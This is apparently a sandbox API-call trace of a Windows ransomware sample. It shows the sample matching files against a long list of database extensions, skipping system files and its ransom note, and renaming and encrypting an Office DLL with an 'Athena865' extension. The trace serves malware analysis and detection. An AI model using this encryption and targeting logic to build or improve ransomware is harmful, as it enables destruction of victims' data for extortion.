(lpString="vhdx") returned 4 [0152.469] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0152.469] lstrlenW (lpString="avhd") returned 4 [0152.469] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0152.469] lstrlenW (lpString="db") returned 2 [0152.469] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0152.469] lstrlenW (lpString="db2") returned 3 [0152.469] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0152.470] lstrlenW (lpString="db3") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0152.470] lstrlenW (lpString="dbf") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0152.470] lstrlenW (lpString="mdf") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0152.470] lstrlenW (lpString="mdb") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0152.470] lstrlenW (lpString="sql") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0152.470] lstrlenW (lpString="sqlite") returned 6 [0152.470] lstrcmpiW (lpString1="th.dll", lpString2="sqlite") returned 1 [0152.470] lstrlenW (lpString="sqlite3") returned 7 [0152.470] lstrcmpiW (lpString1="ath.dll", lpString2="sqlite3") returned -1 [0152.470] lstrlenW (lpString="sqlitedb") returned 8 [0152.470] lstrcmpiW (lpString1="path.dll", lpString2="sqlitedb") returned -1 [0152.470] lstrlenW (lpString="xml") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0152.470] lstrlenW (lpString="$er") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0152.470] lstrlenW (lpString="4dd") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0152.470] lstrlenW (lpString="4dl") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0152.470] lstrlenW (lpString="^^^") returned 3 [0152.470] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0152.470] lstrlenW (lpString="abs") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0152.471] lstrlenW (lpString="abx") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0152.471] lstrlenW (lpString="accdb") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1 [0152.471] lstrlenW (lpString="accdc") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1 [0152.471] lstrlenW (lpString="accde") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1 [0152.471] lstrlenW (lpString="accdr") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1 [0152.471] lstrlenW (lpString="accdt") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1 [0152.471] lstrlenW (lpString="accdw") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1 [0152.471] lstrlenW (lpString="accft") returned 5 [0152.471] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1 [0152.471] lstrlenW (lpString="adb") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0152.471] lstrlenW (lpString="adb") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0152.471] lstrlenW (lpString="ade") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0152.471] lstrlenW (lpString="adf") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0152.471] lstrlenW (lpString="adn") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0152.471] lstrlenW (lpString="adp") returned 3 [0152.471] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0152.472] lstrlenW (lpString="alf") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0152.472] lstrlenW (lpString="ask") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0152.472] lstrlenW (lpString="btr") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0152.472] lstrlenW (lpString="cat") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0152.472] lstrlenW (lpString="cdb") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0152.472] lstrlenW (lpString="ckp") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0152.472] lstrlenW (lpString="cma") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0152.472] lstrlenW (lpString="cpd") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0152.472] lstrlenW (lpString="dacpac") returned 6 [0152.472] lstrcmpiW (lpString1="th.dll", lpString2="dacpac") returned 1 [0152.472] lstrlenW (lpString="dad") returned 3 [0152.472] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0152.472] lstrlenW (lpString="dadiagrams") returned 10 [0152.472] lstrcmpiW (lpString1="fopath.dll", lpString2="dadiagrams") returned 1 [0152.472] lstrlenW (lpString="daschema") returned 8 [0152.472] lstrcmpiW (lpString1="path.dll", lpString2="daschema") returned 1 [0152.472] lstrlenW (lpString="db-journal") returned 10 [0152.472] lstrcmpiW (lpString1="fopath.dll", lpString2="db-journal") returned 1 [0152.472] lstrlenW (lpString="db-shm") returned 6 [0152.472] lstrcmpiW (lpString1="th.dll", lpString2="db-shm") returned 1 [0152.472] lstrlenW (lpString="db-wal") returned 6 [0152.473] lstrcmpiW (lpString1="th.dll", lpString2="db-wal") returned 1 [0152.473] lstrlenW (lpString="dbc") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0152.473] lstrlenW (lpString="dbs") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0152.473] lstrlenW (lpString="dbt") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0152.473] lstrlenW (lpString="dbv") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0152.473] lstrlenW (lpString="dbx") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0152.473] lstrlenW (lpString="dcb") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0152.473] lstrlenW (lpString="dct") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0152.473] lstrlenW (lpString="dcx") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0152.473] lstrlenW (lpString="ddl") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0152.473] lstrlenW (lpString="dlis") returned 4 [0152.473] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0152.473] lstrlenW (lpString="dp1") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0152.473] lstrlenW (lpString="dqy") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0152.473] lstrlenW (lpString="dsk") returned 3 [0152.473] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0152.473] lstrlenW (lpString="dsn") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0152.474] lstrlenW (lpString="dtsx") returned 4 [0152.474] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0152.474] lstrlenW (lpString="dxl") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0152.474] lstrlenW (lpString="eco") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0152.474] lstrlenW (lpString="ecx") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0152.474] lstrlenW (lpString="edb") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0152.474] lstrlenW (lpString="epim") returned 4 [0152.474] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0152.474] lstrlenW (lpString="fcd") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0152.474] lstrlenW (lpString="fdb") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0152.474] lstrlenW (lpString="fic") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0152.474] lstrlenW (lpString="flexolibrary") returned 12 [0152.474] lstrcmpiW (lpString1="Infopath.dll", lpString2="flexolibrary") returned 1 [0152.474] lstrlenW (lpString="fm5") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0152.474] lstrlenW (lpString="fmp") returned 3 [0152.474] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0152.474] lstrlenW (lpString="fmp12") returned 5 [0152.474] lstrcmpiW (lpString1="h.dll", lpString2="fmp12") returned 1 [0152.474] lstrlenW (lpString="fmpsl") returned 5 [0152.475] lstrcmpiW (lpString1="h.dll", lpString2="fmpsl") returned 1 [0152.475] lstrlenW (lpString="fol") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0152.475] lstrlenW (lpString="fp3") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0152.475] lstrlenW (lpString="fp4") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0152.475] lstrlenW (lpString="fp5") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0152.475] lstrlenW (lpString="fp7") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0152.475] lstrlenW (lpString="fpt") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0152.475] lstrlenW (lpString="frm") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0152.475] lstrlenW (lpString="gdb") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0152.475] lstrlenW (lpString="gdb") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0152.475] lstrlenW (lpString="grdb") returned 4 [0152.475] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0152.475] lstrlenW (lpString="gwi") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0152.475] lstrlenW (lpString="hdb") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0152.475] lstrlenW (lpString="his") returned 3 [0152.475] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0152.475] lstrlenW (lpString="ib") returned 2 [0152.476] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0152.476] lstrlenW (lpString="idb") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0152.476] lstrlenW (lpString="ihx") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0152.476] lstrlenW (lpString="itdb") returned 4 [0152.476] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0152.476] lstrlenW (lpString="itw") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0152.476] lstrlenW (lpString="jet") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0152.476] lstrlenW (lpString="jtx") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0152.476] lstrlenW (lpString="kdb") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0152.476] lstrlenW (lpString="kexi") returned 4 [0152.476] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0152.476] lstrlenW (lpString="kexic") returned 5 [0152.476] lstrcmpiW (lpString1="h.dll", lpString2="kexic") returned -1 [0152.476] lstrlenW (lpString="kexis") returned 5 [0152.476] lstrcmpiW (lpString1="h.dll", lpString2="kexis") returned -1 [0152.476] lstrlenW (lpString="lgc") returned 3 [0152.476] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0152.477] lstrlenW (lpString="lwx") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0152.477] lstrlenW (lpString="maf") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0152.477] lstrlenW (lpString="maq") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0152.477] lstrlenW (lpString="mar") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0152.477] lstrlenW (lpString="marshal") returned 7 [0152.477] lstrcmpiW (lpString1="ath.dll", lpString2="marshal") returned -1 [0152.477] lstrlenW (lpString="mas") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0152.477] lstrlenW (lpString="mav") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0152.477] lstrlenW (lpString="maw") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0152.477] lstrlenW (lpString="mdbhtml") returned 7 [0152.477] lstrcmpiW (lpString1="ath.dll", lpString2="mdbhtml") returned -1 [0152.477] lstrlenW (lpString="mdn") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0152.477] lstrlenW (lpString="mdt") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0152.477] lstrlenW (lpString="mfd") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0152.477] lstrlenW (lpString="mpd") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0152.477] lstrlenW (lpString="mrg") returned 3 [0152.477] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0152.478] lstrlenW (lpString="mud") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0152.478] lstrlenW (lpString="mwb") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0152.478] lstrlenW (lpString="myd") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0152.478] lstrlenW (lpString="ndf") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0152.478] lstrlenW (lpString="nnt") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0152.478] lstrlenW (lpString="nrmlib") returned 6 [0152.478] lstrcmpiW (lpString1="th.dll", lpString2="nrmlib") returned 1 [0152.478] lstrlenW (lpString="ns2") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0152.478] lstrlenW (lpString="ns3") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0152.478] lstrlenW (lpString="ns4") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0152.478] lstrlenW (lpString="nsf") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0152.478] lstrlenW (lpString="nv") returned 2 [0152.478] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0152.478] lstrlenW (lpString="nv2") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0152.478] lstrlenW (lpString="nwdb") returned 4 [0152.478] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0152.478] lstrlenW (lpString="nyf") returned 3 [0152.478] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0152.479] lstrlenW (lpString="odb") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0152.479] lstrlenW (lpString="odb") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0152.479] lstrlenW (lpString="oqy") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0152.479] lstrlenW (lpString="ora") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0152.479] lstrlenW (lpString="orx") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0152.479] lstrlenW (lpString="owc") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0152.479] lstrlenW (lpString="p96") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0152.479] lstrlenW (lpString="p97") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0152.479] lstrlenW (lpString="pan") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0152.479] lstrlenW (lpString="pdb") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0152.479] lstrlenW (lpString="pdm") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0152.479] lstrlenW (lpString="pnz") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0152.479] lstrlenW (lpString="qry") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0152.479] lstrlenW (lpString="qvd") returned 3 [0152.479] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0152.480] lstrlenW (lpString="rbf") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0152.480] lstrlenW (lpString="rctd") returned 4 [0152.480] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0152.480] lstrlenW (lpString="rod") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0152.480] lstrlenW (lpString="rodx") returned 4 [0152.480] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0152.480] lstrlenW (lpString="rpd") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0152.480] lstrlenW (lpString="rsd") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0152.480] lstrlenW (lpString="sas7bdat") returned 8 [0152.480] lstrcmpiW (lpString1="path.dll", lpString2="sas7bdat") returned -1 [0152.480] lstrlenW (lpString="sbf") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0152.480] lstrlenW (lpString="scx") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0152.480] lstrlenW (lpString="sdb") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0152.480] lstrlenW (lpString="sdc") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0152.480] lstrlenW (lpString="sdf") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0152.480] lstrlenW (lpString="sis") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0152.480] lstrlenW (lpString="spq") returned 3 [0152.480] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0152.481] lstrlenW (lpString="te") returned 2 [0152.481] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0152.481] lstrlenW (lpString="teacher") returned 7 [0152.481] lstrcmpiW (lpString1="ath.dll", lpString2="teacher") returned -1 [0152.481] lstrlenW (lpString="tmd") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0152.481] lstrlenW (lpString="tps") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0152.481] lstrlenW (lpString="trc") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0152.481] lstrlenW (lpString="trc") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0152.481] lstrlenW (lpString="trm") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0152.481] lstrlenW (lpString="udb") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0152.481] lstrlenW (lpString="udl") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0152.481] lstrlenW (lpString="usr") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0152.481] lstrlenW (lpString="v12") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0152.481] lstrlenW (lpString="vis") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0152.481] lstrlenW (lpString="vpd") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0152.481] lstrlenW (lpString="vvv") returned 3 [0152.481] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0152.481] lstrlenW (lpString="wdb") returned 3 [0152.482] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0152.482] lstrlenW (lpString="wmdb") returned 4 [0152.482] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0152.482] lstrlenW (lpString="wrk") returned 3 [0152.482] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0152.482] lstrlenW (lpString="xdb") returned 3 [0152.482] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0152.482] lstrlenW (lpString="xld") returned 3 [0152.482] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0152.482] lstrlenW (lpString="xmlff") returned 5 [0152.482] lstrcmpiW (lpString1="h.dll", lpString2="xmlff") returned -1 [0152.482] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll.Athena865") returned 93 [0152.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll.athena865"), dwFlags=0x1) returned 1 [0152.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.Infopath.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.485] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=59248) returned 1 [0152.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.485] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.486] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.486] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.486] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea70, lpName=0x0) returned 0x154 [0152.496] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea70) returned 0x100000 [0152.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.505] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.505] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.506] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.507] CloseHandle (hObject=0x154) returned 1 [0152.507] CloseHandle (hObject=0x17c) returned 1 [0152.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.508] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="..") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="windows") returned -1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="bootmgr") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="temp") returned -1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="pagefile.sys") returned -1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="boot") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ids.txt") returned 1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ntuser.dat") returned -1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="perflogs") returned -1 [0152.508] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="MSBuild") returned -1 [0152.508] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29 [0152.508] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="Microsoft.Office.InfoPath.xml") returned="Microsoft.Office.InfoPath.xml" [0152.508] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29 [0152.508] lstrlenW (lpString="Athena865") returned 9 [0152.509] lstrcmpiW (lpString1="oPath.xml", lpString2="Athena865") returned 1 [0152.509] lstrlenW (lpString=".dll") returned 4 [0152.509] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".dll") returned 1 [0152.509] lstrlenW (lpString=".lnk") returned 4 [0152.509] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".lnk") returned 1 [0152.509] lstrlenW (lpString=".ini") returned 4 [0152.509] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".ini") returned 1 [0152.509] lstrlenW (lpString=".sys") returned 4 [0152.509] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", 